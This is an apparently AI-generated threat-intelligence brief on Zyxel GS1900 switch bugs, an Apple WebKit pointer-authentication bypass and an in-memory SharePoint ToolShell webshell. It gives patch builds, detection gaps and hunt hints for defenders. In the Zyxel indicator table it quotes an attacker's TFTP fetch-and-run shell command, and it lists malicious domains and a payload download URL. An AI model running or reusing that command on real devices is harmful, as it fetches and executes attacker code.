Cyber Threat Brief — November 5 2026
⚠️ This report is AI-generated. Always validate findings.
1. Zyxel GS1900 switches — CVE-2026-107441
TL;DR: Zyxel patched a separate GS1900 out-of-bounds write, CVE-2026-107441, in the 2.90 Patch 3 firmware. GreyNoise’s August intrusions and Binarly’s review of that same exploit do not say those switches were already on Patch 2, so install Patch 3 and treat CVE-2026-7273 as the earlier, different KEV bug.
What’s New:
- Zyxel’s 3 November advisory describes a LAN-based, unauthenticated out-of-bounds write in the GS1900 web CGI that can run an OS command from a crafted HTTP request. The advisory makes no exploitation statement. Patch 3 is 2.90(xxxx.3)C0 for the ten models below. Zyxel says on-market models left out of that table do not have this bug.
- GreyNoise says an actor it calls Kapibala took configurations and hashed root credentials from 996 GS1900 switches in 48 countries on or about 17 August, including 564 switches still on factory-default credentials, and tied that exploit to CVE-2026-7273.
- The Hacker News, citing Binarly, says Binarly found that exploit on 17 September in an open folder on a server that also acted as a JITTERLY command server, and that the same script still runs on every 2.90 Patch 2 build. BleepingComputer, also citing Binarly, says Binarly reported it on 29 September and Zyxel confirmed the separate bug on 11 October.
- CISA KEV lists CVE-2026-7273, added 21 September and due 24 September. CVE-2026-107441 is not in the catalog. Neither GreyNoise nor Binarly says the compromised switches were running Patch 2.
Actionable Intel
| Artifact | Type | ATT&CK | Log Source | Action |
|---|---|---|---|---|
| GS1900-8 2.90(AAHH.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-8, install 2.90(AAHH.3)C0. Zyxel lists 2.90(AAHH.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-8HP 2.90(AAHI.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-8HP, including Rev. B1, install 2.90(AAHI.3)C0. Zyxel lists 2.90(AAHI.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-10HP 2.90(AAZI.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-10HP, install 2.90(AAZI.3)C0. Zyxel lists 2.90(AAZI.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-16 2.90(AAHJ.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-16, install 2.90(AAHJ.3)C0. Zyxel lists 2.90(AAHJ.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-24 2.90(AAHL.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-24, install 2.90(AAHL.3)C0. Zyxel lists 2.90(AAHL.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-24E 2.90(AAHK.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-24E, install 2.90(AAHK.3)C0. Zyxel lists 2.90(AAHK.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-24EP 2.90(ABTO.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-24EP, install 2.90(ABTO.3)C0. Zyxel lists 2.90(ABTO.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-24HPv2 2.90(ABTP.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-24HPv2, install 2.90(ABTP.3)C0. Zyxel lists 2.90(ABTP.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-48 2.90(AAHN.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-48, install 2.90(AAHN.3)C0. Zyxel lists 2.90(AAHN.2)C0 and earlier as affected. Zyxel advisory. |
| GS1900-48HPv2 2.90(ABTQ.3)C0 | Fixed build | T1190 | Switch firmware inventory | On a GS1900-48HPv2, install 2.90(ABTQ.3)C0. Zyxel lists 2.90(ABTQ.2)C0 and earlier as affected. Zyxel advisory. |
| sh -c tftp -gr c -l /1 REDACTED 6969;/bin/sh /1 | Command | T1105 | Switch syslog or firewall egress | Alert when a GS1900 runs tftp -gr c -l /1 toward UDP 6969 and then /bin/sh /1. Treat a match as collection of switch data. |
| /tmp/info | File | T1074.001 | Switch filesystem | Alert on /tmp/info on a GS1900. GreyNoise says the collector writes the stolen switch data there. |
| /home/web/tmp/info.txt | File | T1074.001 | Switch filesystem or web root | Alert on /home/web/tmp/info.txt. GreyNoise says the collector copies /tmp/info to that web path for retrieval. |
Detection
| Source | Rule | Gap |
|---|---|---|
| Splunk ESCU | None — verified | Cisco tftp-server command only; misses the switch client. |
| Elastic | None — verified | No switch-management or TFTP-client rule. |
| Sigma | None — verified | Cisco AAA keyword only; misses the switch client. |
Detection index: ESCU 4c1652e (2026-11-03) · elastic detection-rules f4ef34b (2026-11-05) · SigmaHQ 52f81d6 (2026-11-05).
Hunt hint: Check the GS1900 firmware against the Patch 3 build for that model. Search the switch web log for an unexpected POST to the CGI. Alert on a TFTP get of file c toward UDP 6969. If you see that transfer, isolate the management VLAN. Rotate a factory-default password and limit the web UI to the management network.
Sources: Zyxel advisory, 3 November · Zyxel Patch 3 firmware post · GreyNoise, 21 September · The Hacker News, 5 November · BleepingComputer · SecurityWeek, 5 November · Binarly · CISA KEV
2. Apple pointer authentication — CVE-2024-27834
TL;DR: CISA added Apple CVE-2024-27834, a pointer-authentication bypass, to the KEV catalog on 4 November, due 18 November. Install the fixed build for each device’s own OS train, and treat the APT29 watering-hole claim as Sekoia’s.
What’s New:
- CISA added CVE-2024-27834 on 4 November, due 18 November. Apple describes it as a WebKit pointer-authentication bypass for an attacker who already has arbitrary read and write.
- Apple fixed it in May 2024. Each train has its own build in the table. Do not move a device onto a different train.
- Sekoia assesses with moderate to high confidence that APT29 ran a watering hole, including a tamper of the Plerdy script from 27 August to 3 September. CISA does not name APT29.
- Sekoia says the iOS 16.7 chain pairs CVE-2025-43529 with CVE-2024-27834, and that the iOS 18.5 and Android Chrome chains use other bugs that were already patched. Sekoia says a fully updated device is outside these chains.
Actionable Intel
| Artifact | Type | ATT&CK | Log Source | Action |
|---|---|---|---|---|
| iOS 17.5 and iPadOS 17.5 | Fixed build | T1190 | MDM inventory | On an iOS 17 or iPadOS 17 device, install iOS 17.5 or iPadOS 17.5. Do not move an iOS 16 device onto this train. Apple. |
| iOS 16.7.8 and iPadOS 16.7.8 | Fixed build | T1190 | MDM inventory | On an iOS 16 or iPadOS 16 device, install iOS 16.7.8 or iPadOS 16.7.8. Do not move it onto the 17.5 train. Apple. |
| macOS Sonoma 14.5 | Fixed build | T1190 | MDM inventory | On a Mac running Sonoma, install macOS 14.5. Do not use this build for Monterey or Ventura. Apple. |
| Safari 17.5 | Fixed build | T1190 | MDM inventory | On macOS Monterey or macOS Ventura, install Safari 17.5. A Sonoma Mac takes this fix in macOS 14.5, not in this Safari update. Apple. |
| tvOS 17.5 | Fixed build | T1190 | MDM inventory | On Apple TV HD or Apple TV 4K, install tvOS 17.5. Apple. |
| watchOS 10.5 | Fixed build | T1190 | MDM inventory | On Apple Watch Series 4 or later, install watchOS 10.5. Apple. |
| static[.]flux-telemetry[.]com | Domain | T1189 | DNS or web proxy | Block and alert on lookups of static[.]flux-telemetry[.]com. Sekoia says the fingerprint script was loaded from that host. |
| 109.104.106[.]107 | IP address | T1071.001 | DNS or firewall | Alert on traffic to 109.104.106[.]107. Sekoia says this address resolves static[.]flux-telemetry[.]com. |
| edge-ord.clouds-stacks[.]com | Domain | T1189 | DNS or web proxy | Block and alert on lookups of edge-ord.clouds-stacks[.]com. Sekoia says the tampered Plerdy script loaded the fingerprinter from this host. |
| ad.starx-net[.]com | Domain | T1071.001 | DNS or web proxy | Block and alert on lookups of ad.starx-net[.]com. Sekoia says stolen device data was posted to this host. |
| a[.]plerdy[.]com/public/js/click/main.js | URL path | T1195.002 | Web proxy | Hash a[.]plerdy[.]com/public/js/click/main.js against a known-good copy. Sekoia says this tracker file was tampered from 27 August to 3 September. |
| 5b4c8fea5cbcee273e8d830f52-temfp.js | File name | T1059.007 | Web proxy | Alert on a request for 5b4c8fea5cbcee273e8d830f52-temfp.js. Sekoia says this is the fingerprint script name. |
| america250[.]holiday | Domain | T1189 | DNS or web proxy | Block and alert on lookups of america250[.]holiday. Sekoia says this domain proxied america250.org. |
| theowo[.]club | Domain | T1189 | DNS or web proxy | Block and alert on lookups of theowo[.]club. Sekoia says this domain proxied the OWO hotel site. |
Detection
| Source | Rule | Gap |
|---|---|---|
| Splunk ESCU | None — verified | No web-proxy rule for the fingerprint script. |
| Elastic | None — verified | No DNS rule for the listed delivery domains. |
| Sigma | None — verified | No script-name or tampered-JS rule. |
Hunt hint: Compare each device in MDM with the fixed build for its own OS train. Search proxy logs for the script 5b4c8fea5cbcee273e8d830f52-temfp.js. If a device loaded that script, isolate it. Hash a[.]plerdy[.]com/public/js/click/main.js against a known-good copy. Block the script host if the hash does not match.
Sources: CISA on X, 4 November · CISA KEV · CISA alert, 4 November · iOS 17.5 and iPadOS 17.5 · iOS 16.7.8 and iPadOS 16.7.8 · macOS Sonoma 14.5 · Safari 17.5 · tvOS 17.5 · watchOS 10.5 · Sekoia, 4 November
3. SharePoint ToolShell in memory — CVE-2025-53770
TL;DR: Kaspersky says a December 2025 SharePoint intrusion kept a ToolShell webshell inside w3wp.exe and attributes that case to Storm-2603 with moderate confidence. CVE-2025-53770 is already in KEV, so install the SharePoint update and alert when w3wp.exe starts msiexec.exe.
What’s New:
- Kaspersky’s 5 November write-up describes a 20 December 2025 probe from infrastructure associated with ONYPHE, then a crafted request on 24 December from 45.91.94.204 that ran code inside w3wp.exe.
- Kaspersky says the webshell stayed in w3wp.exe memory, registered a VirtualPathProvider, and ran only when a request carried a specific User-Agent.
- Kaspersky says w3wp.exe then started msiexec.exe and installed Velociraptor 0.73.4.0 from Supabase storage.
- CVE-2025-53770 has been in KEV since 20 July 2025. Kaspersky also says actors exploited CVE-2025-53771, which is not in the catalog, and attributes this incident to Storm-2603 with moderate confidence.
Actionable Intel
| Artifact | Type | ATT&CK | Log Source | Action |
|---|---|---|---|---|
| SharePoint Server Subscription Edition KB5002768 | Fixed build | T1190 | Patch inventory | On SharePoint Server Subscription Edition, install KB5002768. Microsoft download. |
| SharePoint Server 2019 KB5002754 | Fixed build | T1190 | Patch inventory | On SharePoint Server 2019, install KB5002754. Do not use the 2016 or Subscription Edition package on this server. Microsoft download. |
| SharePoint Server 2019 language pack KB5002753 | Fixed build | T1190 | Patch inventory | On SharePoint Server 2019, also install language pack KB5002753. Microsoft says both 2019 updates should be installed. Microsoft download. |
| SharePoint Server 2016 KB5002760 | Fixed build | T1190 | Patch inventory | On SharePoint Server 2016, install KB5002760. Do not use the 2019 package on this server. Microsoft download. |
| SharePoint Server 2016 language pack KB5002759 | Fixed build | T1190 | Patch inventory | On SharePoint Server 2016, also install language pack KB5002759. Microsoft says both 2016 updates should be installed. Microsoft download. |
| w3wp.exe spawning msiexec.exe | Process | T1218.007 | Sysmon process creation | Alert when the parent process w3wp.exe starts msiexec.exe. Kaspersky says that child installed a remote MSI. |
| Velociraptor 0.73.4.0 | Installed build | T1219 | EDR software inventory | Hunt for an install of Velociraptor 0.73.4.0. Kaspersky says this is the build the MSI installed. |
| vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi | URL | T1105 | Proxy or firewall | Block and alert on a download of vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi. Kaspersky says this was the Velociraptor package. |
| 45.91.94[.]204 | IP address | T1071.001 | IIS or firewall | Alert on SharePoint requests from 45.91.94[.]204. Kaspersky says the 24 December activity came from this address. |
| Microsoft-Windows-IIS-Configuration event 25 | Event | T1505.003 | IIS ETW | Alert when Microsoft-Windows-IIS-Configuration event 25 maps a ConfigPath to a PhysicalPath and that file is not on disk. |
| Microsoft-Windows-IIS-Configuration event 47 | Event | T1505.003 | IIS ETW | Alert when Microsoft-Windows-IIS-Configuration event 47 maps a path to a directory and events 17, 18, 19, and 21 are absent for that same path. |
Detection
| Source | Rule | Gap |
|---|---|---|
| Splunk ESCU | Partial — Windows MSIExec Remote Download | Matches any msiexec URL, not a w3wp.exe parent. |
| Elastic | None — verified | Web-shell child list omits msiexec.exe. |
| Sigma | None — verified | Web-server child list omits msiexec.exe. |
Hunt hint: Install the SharePoint update for CVE-2025-53770 on that server’s own version. Alert when w3wp.exe starts msiexec.exe. If that child installs an MSI from Supabase storage, contain the server. Check IIS configuration event 25 for a path with no file on disk. Collect w3wp.exe memory before you recycle the pool.
Sources: Kaspersky Securelist, 5 November · CISA KEV · Microsoft, 22 July 2025 · MSRC CVE-2025-53770
Status Updates
- WordPress Core (WordPress-Core-CVE-2026-119977): KEV is due 6 November. ThreatDefence says a public proof of concept was published on 4 November for the staged installer. Install the fixed build for that same branch. ThreatDefence. 4 November brief. WordPress releases.
- ARTEX (ARTEX-Software-Vendors-2026-11): BadByte says tomicdd/artex reached 9,008 pulls and that 46 of 62 consoles still served build ID 3aC1db3gGU08O4UHbAt4J at 09:55 UTC on 4 November. CERT-In CIAD-2026-0058, via a Complied AI restate, says a campaign it calls CRAFTY FALCON used ARTEX against Indian financial firms. BadByte. 3 November brief.
- European refrigeration (Refrigeration-Controllers-EU-2026-11): EFS says three blood-service sites had temperature and defrost thresholds raised on 2 November. Coolworld, linked by BleepingComputer, cites a third-party component in its remote monitoring software. BleepingComputer. Coolworld. 2 November.
- Retired from watch: Cisco Catalyst SD-WAN (CVE-2026-20127) (last update 2026-10-29). No later report names this CVE. 29 October brief.
- Retired from watch: LMCache (CVE-2026-105192) (last update 2026-10-22). No material change since 22 October. 22 October brief.
- Watching (no change): KEV overdue: Ivanti Connect Secure CVE-2026-111357 (1 November); Plex Media Server CVE-2026-96652–96656 (Plex2Shell-CVE-2026-96652, 21 October); Siemens Software Center (Siemens-Software-Center-CVE-2026-110936, 21 October).
- Watching (no change): KEV overdue: BeyondTrust Remote Support CVE-2026-102764 (1 November, retire-eligible 2026-11-08); GitLab CVE-2026-97229 (2 November); Cisco ASA/FTD CVE-2026-76418 (2 November, retire-eligible 2026-11-08).
- Watching (no change): KEV overdue: Ruby Onigmo regex engine for GitLab CVE-2026-97229 (Ruby-Onigmo-2026-10-23, 2 November, retire-eligible 2026-11-08).
- Watching (no change): KEV overdue: PHP core CVE-2026-109618 and CVE-2026-109619 (PHP2Shell-CVE-2026-109618, 2 November); Linux kernel Fragnesia CVE-2026-46300 (CVE-2026-46300, 29 October, retire-eligible 2026-11-07).
- Watching (no change): KEV due: Ivanti CVE-2026-118527 (1 November, due 2026-11-13); VMware ESX CVE-2026-41709 (29 October, due 2026-11-11); Brotli CVE-2026-111497 (28 October, due 2026-11-10); Adobe Commerce CVE-2026-48356 (28 October, due 2026-11-10).
- Watching (no change): GitLab CVE-2026-110264 (2 November); Synology DSM CVE-2024-10441, CVE-2024-50629, and CVE-2024-10445 (Cerber-Synology-DSM-2026-10, 2 November); Canonical LXD (CVE-2026-112816, 1 November); Binance (Binance-TraderTraitor-2026-11, 4 November).
- Watching (no change): LiteLLM (LiteLLM-1.107.0-2026-10, 22 October, stale-eligible 2026-11-07); ConnectWise Cloud Backup (ConnectWise-CloudBackup-SkyKick-2026-10, 22 October, stale-eligible 2026-11-06); eMudhra CVE-2026-111943 and CVE-2026-91403 (eMudhra-CVE-2026-111943, 27 October); Tailscale SSH (Tailworm-Tailscale-SSH-2026-10, 28 October).
- Watching (no change): Cursor marketplace Claude Code (Cursor-Claude-Code-2.1.313-2026-10, 31 October); XCPE Android TV boxes (XCPE-Botnet-2026-11, 3 November); WinRAR Gorbag (Gorbag-WinRAR-CVE-2025-8088-2026-11, 3 November).